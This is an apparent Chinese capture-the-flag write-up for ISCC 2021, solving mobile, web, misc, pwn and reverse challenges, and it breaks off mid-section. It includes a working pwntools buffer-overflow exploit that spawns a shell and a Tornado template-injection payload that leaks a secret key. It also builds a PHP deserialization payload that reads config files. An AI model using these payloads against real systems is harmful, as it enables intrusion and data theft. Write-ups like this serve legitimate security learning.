ISCC2021 5/1 — 5/5 2021
我是个菜鸡,师傅轻点打
本文记录 擂台 MOBILE
WEB
练武 MISC
PWN
REVERSE
WEB
ISCC客服冲冲冲(一) +50
这是啥 +50
Web01 +100
登录 +300
MOBILE
擂台 Mobile Normal 一个中规中矩的Mobile题,你能把它搞定嘛?
jadx反编译得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.example.mobilenormal;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.widget.EditText;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;public class MainActivity extends AppCompatActivity { @Override public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); } private String getFlag () { String part1 = new String(Base64.decode(new String("ZXZlcllvbmVfbDFrZVM=" ).getBytes(), 0 )); String s = (new String(BuildConfig.FLAVOR) + "ISCC{" ) + part1; return ((s + MyJni.getPart3()) + ((String) getResources().getText(R.string.smile))) + "}" ; } public void onClick (View view) { if (((EditText) findViewById(R.id.editText)).getText().toString().equals(getFlag())) { Toast.makeText(this , "right" , 0 ).show(); } else { Toast.makeText(this , "wrong" , 0 ).show(); } } }
分析part1得everYone_l1keS,s为ISCC{everYone_l1keS 看了关于BuildConfig.FLAVOR的介绍地址
在BuildConfig找到part2为
1 public static final String FLAVOR = "";
即BuildConfig.FLAVOR为空
继续找part3
分析MyJni.getPart3()),找到System.loadLibrary(“MyJni”);果断ida64反编译lib/x86_64下libMyJni.so 找到Java_com_example_mobilenormal_MyJni_getPart3(__int64 a1)看不懂/(ㄒoㄒ)/~~
算了推倒重来 在android studio新建一个mobilenormal工程 添加MyJni.java
1 2 3 4 5 6 7 8 9 package com.example.mobilenormal;public class MyJni { public static native String getPart3 () ; static { System.loadLibrary("MyJni" ); } }
,在build.gradle的android里添加
1 2 3 4 sourceSets { main { jniLibs.srcDirs = ['libs'] }
再将lib复制到项目libs文件夹,改主java程序加上 String str = MyJni.getPart3(); Log.i(“调用”, str); 得到_ANdr01d
分析((String) getResources().getText(C0272R.string.smile))) + “}”; 看了一下getResources()函数,参考文章地址 C0272R.string.smile去com.example.mobilenormal.CR0272R找id得 public static final int smile = 2131427371; 看了一篇 讨论说getResources().getText()找的是string.xml,于是使用文件搜索 找到了src\main\res\values\strings.xml 打开发现有下面字符,很有可能是^ - ^
1 <string name ="smile" > ^_^</string >
现在已经是ISCC{everYone_l1keS_ANdr01d^_^}了 安装他给的app,验证一波,提示对了
tornado Tornado 是什么呢? 题目入口:http://39.96.91.106:7060
访问时出现 点击第一个链接
1 2 http://39.96.91.106:7060/file?filename=/flag.txt&filehash=38c08fe238ff919895a95980aa92c53e /flag.txt
出现
1 flag in /fllllllllllllaaaaaag
提示访问/fllllllllllllaaaaaag来获取flag
点击第二个链接
1 2 http://39.96.91.106:7060/file?filename=/welcome.txt&filehash=b0d60f47a7f9fe476226b0fa6b80700e /welcome.txt
出现
点击第三个链接
1 2 http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15 /hints.txt
出现
1 md5(cookie_secret+md5(filename))
观察一下,随便尝试一下,访问
1 http://39.96.91.106:7060/file?filename=/fllllllllllllaaaaaag
提示Error,网址跳到了
1 http://39.96.91.106:7060/error?msg=Error
访问
1 http://39.96.91.106:7060/error?msg=a
提示a
尝试ssti注入 访问msg=2,提示500: Internal Server Error
1 http://39.96.91.106:7060/error?msg={{1+1}}
访问msg=1 ,提示ORZ
1 http://39.96.91.106:7060/error?msg={{1*1}}
前面提示md5(cookie_secret+md5(filename)),结合前面得访问测试了解到要读文件需要cookie_secret 百度tornado cookie_secret,找到参数 可以访问
1 http://39.96.91.106:7060/error?msg={{handler.settings}}
得
1 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ef57c331-744f-4528-b434-9746317d4f6a'}
需要的cookie_secret就是
1 ef57c331-744f-4528-b434-9746317d4f6a
访问/fllllllllllllaaaaaag 先求参数
1 2 3 <?php echo md5('ef57c331-744f-4528-b434-9746317d4f6a'.md5('/fllllllllllllaaaaaag')); ?>
得1ad9b8e09fbe539bc5a6f2c8bc0ab5db
/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db 得到 ISCC{1531sSTi448_iScC_2021}
练武 Retrieve the passcode Scatter说他能解开这个古怪的密码,你呢?来试试吧! Flag格式:ISCC{XXX},XXX为小写字符串,不包括空格
给了一个压缩包
computer.rar是加密压缩包
scatter.txt是一堆数据
初步尝试 搜素scatter
估计它是坐标点,能画个图出来,编写一个python3程序试试
plt.scatter绘图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import matplotlib.pyplot as pltfile = open ('scatter.txt' , 'r' , encoding = 'utf-8' ) str_read = str (file.readlines()) str_read = str_read.replace(';' , "\n" ) file.close() with open ("2.txt" , "w" , encoding = 'utf-8' ) as f: f.write(str_read) file = open ('2.txt' , 'r' , encoding = 'utf-8' ) for line in file.readlines(): lines = str (line) xx = lines[0 :lines.index(":" )] yy = lines[lines.index(":" )+1 :lines.rindex(":" )] plt.scatter(xx, yy) file.close() plt.show()
运行结果
怪怪的,调整一下看看
还是怪怪的,把程序修改一下
1 2 3 4 5 6 for line in file.readlines(): lines = str (line) xx = lines[0 :lines.index(":" )] yy = lines[lines.index(":" )+1 :lines.rindex(":" )] plt.scatter(yy, xx)
旋转一下
得到
尝试对压缩包解压
下面有几行奇怪的东西
1 / -.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ...\
1 / -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. . \
估计是摩尔斯电码
写python3解密摩尔斯 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Keys = 'abcdefghijklmnopqrstuvwxyz0123456789' Values = ['.-' ,'-...' ,'-.-.' ,'-..' ,'.' ,'..-.' ,'--.' ,'....' , '..' ,'.---' ,'-.-' ,'.-..' ,'--' ,'-.' ,'---' ,'.--.' , '--.-' ,'.-.' ,'...' ,'-' , '..-' ,'...-' ,'.--' ,'-..-' , '-.--' ,'--..' ,'-----' ,'.----' ,'..---' ,'...--' , '....-' ,'.....' ,'-....' ,'--...' ,'---..' ,'----.' ] input_mos = "-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. ." dict_mos = input_mos.split(" " ) dec_mos = "" for i in dict_mos: for ii,val in enumerate (Values): if i == val: dec_mos += str (Keys[ii]) break print("Dec result: " , dec_mos)
结果
flag
海市蜃楼-1 或许你看到的只是海市蜃楼…
给了个压缩包
初步尝试 解压docx
看到PK
尝试改成.zip
一个一个xml文档看
找到了
flag
我的折扣是多少 小c同学去参加音乐会,在官网买票时发现了有提示消息,提供给的有“give_me_discount”的压缩包,好奇的小c下载下来,但却无从下手,为了节省零花钱,你能帮帮他吗?
给了一个压缩包
me.zip是加密的,先跑了再说
初步尝试 运行give.exe。
解码一下
即
看向me.zip 用010Editor看看
看起来像Base家族的
Base64解码一下
我们现在有了
1 2 pass1{krw} pass2{gcc666}
看看discount.mp3 还挺好听的
由于是mp3,尝试用MP3Stego
跑不出来
尝试把krwgcc666解压压缩包(这时ziphello还没跑出来)
解压成功
还是Base解码
再次尝试MP3Stego
得txt
还是Base
尝试Base32
flag
M78 欢迎来到M78星云的光之国,开始你的奇妙冒险吧! 题目入口:http://39.96.88.40:7010 Flag格式:flag{XXX}
初步尝试 下载的文件M78
对其执行checksec
*32位程序
*NX保护也就是栈不可执行
逆向分析 ida打开
先看主函数部分
调用了explorer函数
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方
找后门函数 先把后门函数找到
1 2 3 4 int call_main () { return system("/bin/sh" ); }
记录下地址0x08049202
尝试直接运行 不允许的情况
允许的情况
程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了
反而输入7个a是不能成的
写了个c程序验证,果然如此
开干 找溢出目标 可以看到调用了check函数
存在溢出的是strcpy那里,只需要让dest溢出即可 ,这个dest是下图中的第一句c程序char dest;
为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest变量存储的最大值(ebp-18h那里)(也就是0x18),存在溢出
满足字符长度为7的条件 char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试
条件测试1 char经过测试范围为-128至127,下面是测试过程写了一个c程序进行观察
保存为1.c
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { char buf; #保持和题目程序一致 char buf1[200 ]; scanf ("%s" , buf1); #数组不需要取地址& buf = strlen (buf1); printf ("%d\n" , buf); return 0 ; }
gcc编译
使用-m32参数保证编译32位程序
使用pwntools测试
1 2 3 4 5 6 from pwn import * #p = remote("39.96.88.40","7010") p = process('./1.o') payload = (128)*'a' p.sendline(payload) p.interactive()
结果
更多结果
条件测试1总结 也就是输入256+i,存储的就是i(i为整数)
怼题目程序 那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7
为啥?本文开头那里“尝试直接运行”部分有说明
构造payload 由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作
1 0x18 * 'a' + 4 * 'a' + p32(0x08049202 ).decode("iso-8859-1" ) + (262 -0x18 -4 -4 ) * 'a'
对于使用ljust()方法自动填充的,类似代码如下,是无法使用 的,原因的话请接着往下面看
1 2 payload = 0x18 * 'a' + p32(0x08049202 ).decode("iso-8859-1" ) payload = payload.ljust(262 , 'a' )
读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的
payload解释 0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出
汇编显示有leave指令,即mov esp,ebp和 pop ebp
pop ebp也就是说pop时候,出栈用esp寄存器接收数据
4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈
详解ebp和esp寄存器
那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数
ret指令的作用
(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符
而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度
前面已经说明使用262的原因
完整exp exploit如下
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("39.96.88.40" ,"7010" ) payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202 ).decode("iso-8859-1" ) + (262 -0x18 -8 ) * 'a' p.sendlineafter("Your choice?" ,'1' ) p.sendlineafter("Please choose a building" ,"test" ) p.sendlineafter("Please input the password" , payload) p.interactive()
最后的操作 1 2 3 4 5 6 7 8 $ ls M78 bin dev flag.txt lib lib32 lib64
1 2 $ cat flag.txt flag{N@x_addr_*EnaBleD%}
得flag
1 flag{N@x_addr_*EnaBleD%}
Garden 花园里藏了一个小宝贝,你能找到他吗?
初步尝试 附件是个.pyc文件
是python2.7程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import platform, sys, marshal, typesdef check (s ): f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' if len (s) != len (f): return False checksum = 0 for a, b in zip (f, s): checksum += ord (b) ^ ord (a) ^ 123 return checksum == 0 if sys.version_info.major != 2 or sys.version_info.minor != 7 : sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.' ) if len (sys.argv) != 2 : sys.exit('usage: bronze.pyc <flag>' ) flag = sys.argv[1 ] if len (flag) >= 32 : print '太长了' sys.exit(1 ) alphabet = set ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+' ) for ch in flag: if ch not in alphabet: print '\xe4\xb8\x8d\xe5\xaf\xb9.' sys.exit(1 ) if check(flag): print '\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!' sys.exit(0 ) else : print '\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.' sys.exit(1 )
进一步分析 程序分析 首先要注意是python2.7程序,要有python2.7运行环境
check函数用来判断输入是否正确
使用异或操作
1 2 3 4 5 6 7 8 9 def check (s ): f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' if len (s) != len (f): return False checksum = 0 for a, b in zip (f, s): checksum += ord (b) ^ ord (a) ^ 123 return checksum == 0
提示程序使用方法
1 2 if len (sys.argv) != 2 : sys.exit('usage: bronze.pyc <flag>' )
给定了字符
1 alphabet = set ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+' )
修改check函数 改成可控制的比对字符
1 2 3 4 5 6 7 8 9 def check(s, tar_get): f = tar_get if len(s) != len(f): return False checksum = 0 for a, b in zip(f, s): checksum += ord(b) ^ ord(a) ^ 123 return checksum == 0
一个一个字符对其进行匹配即可
1 2 3 4 5 6 7 8 strset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+' flag = '' for a in "2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06" : for i in strset: if check(i, a): flag += i break print flag
非常简单就出flag了
ISCC客服冲冲冲(一) 又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己??? 请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020
研究发现调用函数,参数为this,那就js获取按钮的object,循环刷
添加
1 <script > for (i=0 ;i<30000 ;i++) voting(document .getElementById("left_button" ));</script >
开局30000票,随便你刷
倒计时完得
flag
这是啥 这是什么东西呢? 题目入口:http://39.96.91.106:7030
隐藏的jsfuck
浏览器F12运行
得到iscc{what_is*_jsJS&} 提交,不对,改成ISCC{what_is*_jsJS&}遂正确
Web01 正则匹配最后的倔强。 题目入口:http://39.96.91.106:7040
常规尝试
最后在
1 http://39.96.91.106:7040/code/code.txt
给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php <p>code.txt</p> if (isset ($_GET ['password' ])) { if (preg_match ("/^[a-zA-Z0-9]+$/" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
看了一下”/^[a-zA-Z0-9]+$/“发现必须存在大小写26个英文0-9 我的测试代码:
1 2 3 4 5 <?php $str = "10e9*-*" ;var_dump(preg_match("/^[a-zA-Z0-9]+$/" ,$str ) === FALSE ); var_dump($str >9999999 ); ?>
这正则过滤了个寂寞。。。 因为比较没有使用===,所以可以利用php弱类型 GET参数为
得flag
登录 登录来上传自己的信息吧! 题目入口:http://39.96.91.106:7010
初步尝试 没有源码不好搞,尝试了如
admin admin
admin 123456
等账号密码无法登录,尝试简单mysql注入也不行
后来尝试root 123456居然能登录。。。不过并没有什么卵用
进一步尝试 还得看看源码才行,尝试下载www.zip,结果还真有这么个文件
里面自然是源码
尝试登录 前面说root 123456能登录,看了源码之后发现实际上它提供用户注册,所以就算没有账号也没有关系,去注册一个就好了
注册的地方在register.php
登录进去后会显示一些信息(下图为改过信息之后的)
像下图这样啥也做不了
进一步分析 粗看源码进行总结 update.php 更新个人信息,有电话、邮箱、nickname
config.php 写的mysql服务器的配置,甚至可能保存了flag
class.php 各种信息的处理存储读取,连接mysql数据库
index.php 提示登录
register.php 注册用
profile.php 展示信息
上传自己的信息 不过题目提示登录来上传自己的信息,也就是说信息是可以改的
通过查看源码,发现update.php
不登陆不能访问(因为已经登陆了所以得用另外一个浏览器才能未登录)
尝试上传
填写信息
改完之后变成了这样
通过阅读源码,可以得知上传的文件按文件名求md5再当作新文件名保存在upload/里面
展示图片时直接对读取图片内容再对图片base64转码,也就是想通过上传来上传一句话木马不可行
因为最终上传到服务器上的文件没有后缀名
验证一下,通过md5为文件名下载刚刚上传的图片
添加后缀名
就是刚才上传的图片
阅读config.php 这个文件定义了一个flag变量,由此可以猜测
最终的flag应该是在这个文件里面,要想办法读取服务器上保存的的config.php
1 2 3 4 5 6 7 <?php $config ['hostname' ] = '127.0.0.1' ; $config ['username' ] = 'root' ; $config ['password' ] = '' ; $config ['database' ] = '' ; $flag = '' ; ?>
阅读class.php 乍一看好像没有什么可以操作的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php require ('config.php' );class user extends mysql { private $table = 'users' ; public function is_exists ($username ) { $username = parent ::filter($username ); $where = "username = '$username '" ; return parent ::select($this ->table, $where ); } public function register ($username , $password ) { $username = parent ::filter($username ); $password = parent ::filter($password ); $key_list = Array ('username' , 'password' ); $value_list = Array ($username , md5($password )); return parent ::insert($this ->table, $key_list , $value_list ); } public function login ($username , $password ) { $username = parent ::filter($username ); $password = parent ::filter($password ); $where = "username = '$username '" ; $object = parent ::select($this ->table, $where ); if ($object && $object ->password === md5($password )) { return true ; } else { return false ; } } public function show_profile ($username ) { $username = parent ::filter($username ); $where = "username = '$username '" ; $object = parent ::select($this ->table, $where ); return $object ->profile; } public function update_profile ($username , $new_profile ) { $username = parent ::filter($username ); $new_profile = parent ::filter($new_profile ); $where = "username = '$username '" ; return parent ::update($this ->table, 'profile' , $new_profile , $where ); } public function __tostring ( ) { return __class__ ; } } class mysql { private $link = null ; public function connect ($config ) { $this ->link = mysql_connect( $config ['hostname' ], $config ['username' ], $config ['password' ] ); mysql_select_db($config ['database' ]); mysql_query("SET sql_mode='strict_all_tables'" ); return $this ->link; } public function select ($table , $where , $ret = '*' ) { $sql = "SELECT $ret FROM $table WHERE $where " ; $result = mysql_query($sql , $this ->link); return mysql_fetch_object($result ); } public function insert ($table , $key_list , $value_list ) { $key = implode(',' , $key_list ); $value = '\'' . implode('\',\'' , $value_list ) . '\'' ; $sql = "INSERT INTO $table ($key ) VALUES ($value )" ; return mysql_query($sql ); } public function update ($table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value ' WHERE $where " ; return mysql_query($sql ); } public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape ) . '/' ; $string = preg_replace($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe ) . '/i' ; return preg_replace($safe , 'hacker' , $string ); } public function __tostring ( ) { return __class__ ; } } session_start(); $user = new user();$user ->connect($config );
不过并不妨碍我们注意到几段代码
filter函数
有filter进行字符串处理,说明有用户可以接触的输入,可以接下去寻找突破点
1 2 3 4 5 6 7 8 9 public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape ) . '/' ; $string = preg_replace($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe ) . '/i' ; return preg_replace($safe , 'hacker' , $string ); }
继续把目光转向profile.php
阅读profile.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } $username = $_SESSION ['username' ]; $profile =$user ->show_profile($username ); if ($profile == null ) { header('Location: update.php' ); } else { $profile = unserialize($profile ); $phone = $profile ['phone' ]; $email = $profile ['email' ]; $nickname = $profile ['nickname' ]; $photo = base64_encode(file_get_contents($profile ['photo' ])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet" > <script src="static/jquery.min.js" ></script> <script src="static/bootstrap.min.js" ></script> </head> <body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi <?php echo $nickname ;?> </h3> <label>Phone: <?php echo $phone ;?> </label> <label>Email: <?php echo $email ;?> </label> </div> </body> </html> <?php } ?>
出现了唯一一个会将读取文件的内容展示给用户的地方
1 2 $photo = base64_encode(file_get_contents($profile ['photo' ]));<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
还可以注意到profile.php中出现了反序列化函数unserialize()
既然需要反序列化,那么之前肯定先进行了序列化
继续看update.php
阅读update.php 可以见到,似乎为了方便传递用户的输入,程序对存储的数组进行了序列化处理
$user->update_profile意思是调用user类 里面的update_profile 函数,这个类 存在于前面的class.php 里面
1 2 3 4 5 6 7 8 9 class user extends mysql { public function update_profile ($username , $new_profile ) { $username = parent ::filter($username ); $new_profile = parent ::filter($new_profile ); $where = "username = '$username '" ; return parent ::update($this ->table, 'profile' , $new_profile , $where ); } }
上面的程序调用了parent::update(),即mysql()类 里的update()
1 2 3 4 5 6 class mysql { public function update ($table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value ' WHERE $where " ; return mysql_query($sql ); } }
结合前面提到的filter函数,可以写出这么个流程
1 2 1、用户输入(update.php)保存为数组->2、对数组进行序列化(update.php)->3、字符过滤(通过class.php)->4、保存到数据库(通过class.php)-> 5、用户访问个人中心(profile.php)->6、从数据库读取(通过class.php)->7、反序列化为数组(profile.php)->8、展示给用户(profile.php)
机会来了–PHP反序列化漏洞
只要使步骤7反序列化为数组时$profile[‘phone’]存储的文件的地址改成config.php,就能把读取的数据展示出来
要实现,就要在访问update.php时提交恶意数据,完成对保存到数据库前提交的数据进行处理
概念 关于PHP反序列化漏洞 这里简单举个例子说明一下
1 2 3 $profile ['nickname' ] = "123" ;$profile ['photo' ] = 'picture' ;echo serialize($profile );
可得结果
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:7:"picture";}
反序列化后可得
1 2 3 4 5 6 array(2) { ["nickname"]=> string(3) "123" ["photo"]=> string(7) "picture" }
如果我对它处理(在123处添加**”;s:5:”photo”;s:8:”picture2”;}**)
a:2:{s:8:”nickname”;s:3:”123**”;s:5:”photo”;s:8:”picture2”;}**”;s:5:”photo”;s:7:”picture”;}
反序列化可得
1 2 3 4 5 6 array(2) { ["nickname"]=> string(3) "123" ["photo"]=> string(8) "picture2" }
可以看到我控制了$profile[‘photo’]的值
现实情况下往往不能直接操作存储于服务器上面的序列化后得到的字符串
有时我们仅能输入
$profile[‘nickname’]
和
$profile[‘photo’]
如果还按上面那样操作
1 2 3 4 5 6 $profile ['nickname' ] = '123";s:5:"photo";s:8:"picture2";}' ;$profile ['photo' ] = 'picture' ;$seri = serialize($profile ) echo $seri ;echo "\n\n" ;var_dump(unserialize($seri ));
反序列化后就会变成这样
1 2 3 4 5 6 array(2) { ["nickname"]=> string(33) "123";s:5:"photo";s:8:"picture2";}" ["photo"]=> string(7) "picture" }
如果你有能力把
1 a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}
改成
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}
就能得到
1 2 3 4 5 6 array(2) { ["nickname"]=> string(3) "123" ["photo"]=> string(8) "picture2" }
或者你有能力把
1 a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}
改成
加上30个a是因为”;s:5:”photo”;s:8:”picture2”;}是
注意:必须操作序列化后的字符串
1 a:2:{s:8:"nickname";s:33:"123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}
就能得到
1 2 3 4 5 6 array(2) { ["nickname"]=> string(33) "123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ["photo"]=> string(8) "picture2" }
即把picture改成了picture2,因为PHP把它认作了
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";}
成功控制了$profile[‘photo’]的值
但是非常遗憾,除非服务器上的程序存在“叛徒” ,或者 存在用户能操作序列化后的字符串的程序 或者 你能更改服务器上的程序(那还入侵啥) ,否则没有这个能力
如果满足上面条件,就可以完成你的目标
开干 构造前分析 在后台接收的数据
1 2 3 4 $profile ['phone' ] = $_POST ['phone' ];$profile ['email' ] = $_POST ['email' ];$profile ['nickname' ] = $_POST ['nickname' ];$profile ['photo' ] = 'upload/' . md5($file ['name' ]);
选择**$profile[‘nickname’],因为它的后面就是就是图片保存的地方 $profile[‘photo’]**
也就是要在**$_POST[‘nickname’]传入恶意数据,达到控制 $profile[‘photo’]**值的目的
而控制了$profile[‘photo’]的值后,就可以访问profile.php查看读取的内容
再来仔细看看
1 2 3 $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname'];
phone email nickname内容可供输入,就从nickname下手
需要改变序列化后的内容,正好update_profile函数里面调用的filter函数就能帮忙
前面提过的filter函数
它能将‘和\替换成_
能将’select’, insert, update, delete, where替换成hacker
目标是要让nickname序列化出来的值增加,那么只要把where换成hacker是可选的,每加一个where就会增加一个字符
那么只要nickname传34个where,后接”;}s:5:”photo”;s:10:”config.php”;}(这个字符串34个字符)
就能实现目标
构造payload 1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
绕过限制 当然要注意绕过一些条件
1 2 if (preg_match('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' );
使用数组传值即可,nickname为数组并不影响反序列化漏洞出来的photo
成功保存到数据库
访问profile.php
解码base64
得flag
Mobile Easy(android1) 这是一道简单的Mobile题,快来做做看吧
基本尝试 jadx反编译apk 先看MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.example.mobileeasy;import android.app.Activity;import android.os.Bundle;import android.view.View;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends Activity { public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(C0272R.layout.activity_main); } public void onClick (View view) { if (getFlag(((EditText) findViewById(C0272R.C0274id.editText)).getText().toString())) { Toast.makeText(this , "right" , 0 ).show(); } else { Toast.makeText(this , "wrong" , 0 ).show(); } } private boolean getFlag (String input) { String s = first.firstStr(input); if (s.length() < 15 || !s.substring(0 , 5 ).equals("ISCC{" ) || !s.substring(s.length() - 1 ).equals("}" )) { return false ; } String s1 = s.substring(5 , 15 ); String s2 = s.substring(15 , s.length() - 1 ); if (s1.equals(second.secondStr()) && third.thirdStr(s2)) { return true ; } return false ; } }
可以看到调用了first 、 second 、 third类,那就继续看看吧
Class first
1 2 3 4 5 6 7 package com.example.mobileeasy;public class first { public static String firstStr (String s) { return s.replace("B1" , "dN" ).replace("_" , "8" ).replace("!" , "P" ).replace("rea" , "hwl" ).replace('1' , 'u' ).replace("m" , "+" ); } }
Class second
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.mobileeasy;import android.util.Base64;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class second { public static String secondStr () { byte [] key = "1234567890123456" .getBytes(); try { byte [] middle = Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==" , 0 ); SecretKeySpec skeySpec = new SecretKeySpec(key, "AES" ); Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding" ); cipher.init(2 , skeySpec); return new String(cipher.doFinal(middle)).replace(" " , BuildConfig.FLAVOR); } catch (Exception e) { e.printStackTrace(); return BuildConfig.FLAVOR; } } }
Class third
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.mobileeasy;public class third { public static boolean thirdStr (String s) { if (s.length() != 8 ) { return false ; } int a0 = s.charAt(0 ); int a1 = s.charAt(1 ); int a2 = s.charAt(2 ); int a3 = s.charAt(3 ); int a4 = s.charAt(4 ); int a5 = s.charAt(5 ); int a6 = s.charAt(6 ); int a7 = s.charAt(7 ); if (a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 && (a2 ^ 93 ) == 100 && (a2 * 2 ) - 10 == a3 && a4 + 1 == 120 && (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80 ) { return true ; } return false ; } }
基本分析 MainActivity Mainactivity里面最重要的地方
